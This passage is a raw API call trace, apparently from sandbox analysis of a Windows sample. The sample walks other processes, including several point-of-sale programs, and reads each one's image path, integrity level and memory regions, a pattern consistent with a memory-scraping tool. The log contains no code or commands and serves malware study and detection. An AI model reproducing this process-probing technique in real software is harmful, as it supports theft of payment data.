ProcessHandle=0x240, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.551] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.551] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.551] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.551] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.552] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.552] NtClose (Handle=0x2a0) returned 0x0 [0095.552] NtQueryVirtualMemory (in: ProcessHandle=0x240, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.552] NtQueryVirtualMemory (in: ProcessHandle=0x240, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.564] QueryFullProcessImageNameW (in: hProcess=0x244, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Windows Mail\\whatsapp.exe", lpdwSize=0x119fa50) returned 1 [0095.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.564] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.564] IsWow64Process (in: hProcess=0x244, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.564] NtQueryInformationProcess (in: ProcessHandle=0x244, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.564] GetProcessTimes (in: hProcess=0x244, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.564] OpenProcessToken (in: ProcessHandle=0x244, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.564] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.565] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.565] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.565] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.565] NtClose (Handle=0x2a0) returned 0x0 [0095.565] NtQueryVirtualMemory (in: ProcessHandle=0x244, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.566] NtQueryVirtualMemory (in: ProcessHandle=0x244, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.577] QueryFullProcessImageNameW (in: hProcess=0x248, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Uninstall Information\\winscp.exe", lpdwSize=0x119fa50) returned 1 [0095.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.577] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.577] IsWow64Process (in: hProcess=0x248, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.577] NtQueryInformationProcess (in: ProcessHandle=0x248, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.577] GetProcessTimes (in: hProcess=0x248, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.577] OpenProcessToken (in: ProcessHandle=0x248, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.577] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.578] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.578] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.578] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.579] NtClose (Handle=0x2a0) returned 0x0 [0095.579] NtQueryVirtualMemory (in: ProcessHandle=0x248, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.579] NtQueryVirtualMemory (in: ProcessHandle=0x248, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.590] QueryFullProcessImageNameW (in: hProcess=0x24c, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Windows Media Player\\yahoomessenger.exe", lpdwSize=0x119fa50) returned 1 [0095.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.591] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.591] IsWow64Process (in: hProcess=0x24c, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.591] NtQueryInformationProcess (in: ProcessHandle=0x24c, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.591] GetProcessTimes (in: hProcess=0x24c, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.591] OpenProcessToken (in: ProcessHandle=0x24c, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.591] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.591] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.591] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.591] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.592] NtClose (Handle=0x2a0) returned 0x0 [0095.592] NtQueryVirtualMemory (in: ProcessHandle=0x24c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.592] NtQueryVirtualMemory (in: ProcessHandle=0x24c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.603] QueryFullProcessImageNameW (in: hProcess=0x250, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Microsoft Sync Framework\\active-charge.exe", lpdwSize=0x119fa50) returned 1 [0095.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.604] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.604] IsWow64Process (in: hProcess=0x250, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.604] NtQueryInformationProcess (in: ProcessHandle=0x250, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.604] GetProcessTimes (in: hProcess=0x250, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.604] OpenProcessToken (in: ProcessHandle=0x250, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.604] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.604] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.604] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.604] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.605] NtClose (Handle=0x2a0) returned 0x0 [0095.605] NtQueryVirtualMemory (in: ProcessHandle=0x250, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.605] NtQueryVirtualMemory (in: ProcessHandle=0x250, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.617] QueryFullProcessImageNameW (in: hProcess=0x254, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Java\\accupos.exe", lpdwSize=0x119fa50) returned 1 [0095.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.618] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.618] IsWow64Process (in: hProcess=0x254, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.618] NtQueryInformationProcess (in: ProcessHandle=0x254, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.618] GetProcessTimes (in: hProcess=0x254, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.618] OpenProcessToken (in: ProcessHandle=0x254, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.618] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.618] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.618] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.618] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.619] NtClose (Handle=0x2a0) returned 0x0 [0095.619] NtQueryVirtualMemory (in: ProcessHandle=0x254, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.619] NtQueryVirtualMemory (in: ProcessHandle=0x254, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.630] QueryFullProcessImageNameW (in: hProcess=0x258, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Microsoft Analysis Services\\afr38.exe", lpdwSize=0x119fa50) returned 1 [0095.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.631] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.631] IsWow64Process (in: hProcess=0x258, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.631] NtQueryInformationProcess (in: ProcessHandle=0x258, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.631] GetProcessTimes (in: hProcess=0x258, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.631] OpenProcessToken (in: ProcessHandle=0x258, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.631] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.631] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.632] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.632] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.632] NtClose (Handle=0x2a0) returned 0x0 [0095.632] NtQueryVirtualMemory (in: ProcessHandle=0x258, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.632] NtQueryVirtualMemory (in: ProcessHandle=0x258, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.643] QueryFullProcessImageNameW (in: hProcess=0x25c, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Common Files\\aldelo.exe", lpdwSize=0x119fa50) returned 1 [0095.644] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.644] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.644] IsWow64Process (in: hProcess=0x25c, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.644] NtQueryInformationProcess (in: ProcessHandle=0x25c, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.644] GetProcessTimes (in: hProcess=0x25c, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.644] OpenProcessToken (in: ProcessHandle=0x25c, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.644] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.645] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.645] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.645] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.645] NtClose (Handle=0x2a0) returned 0x0 [0095.645] NtQueryVirtualMemory (in: ProcessHandle=0x25c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.645] NtQueryVirtualMemory (in: ProcessHandle=0x25c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.656] QueryFullProcessImageNameW (in: hProcess=0x260, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\ccv_server.exe", lpdwSize=0x119fa50) returned 1 [0095.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.657] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.657] IsWow64Process (in: hProcess=0x260, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.657] NtQueryInformationProcess (in: ProcessHandle=0x260, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.657] GetProcessTimes (in: hProcess=0x260, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.657] OpenProcessToken (in: ProcessHandle=0x260, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.657] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.657] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.657] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.657] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.658] NtClose (Handle=0x2a0) returned 0x0 [0095.658] NtQueryVirtualMemory (in: ProcessHandle=0x260, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.658] NtQueryVirtualMemory (in: ProcessHandle=0x260, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.669] 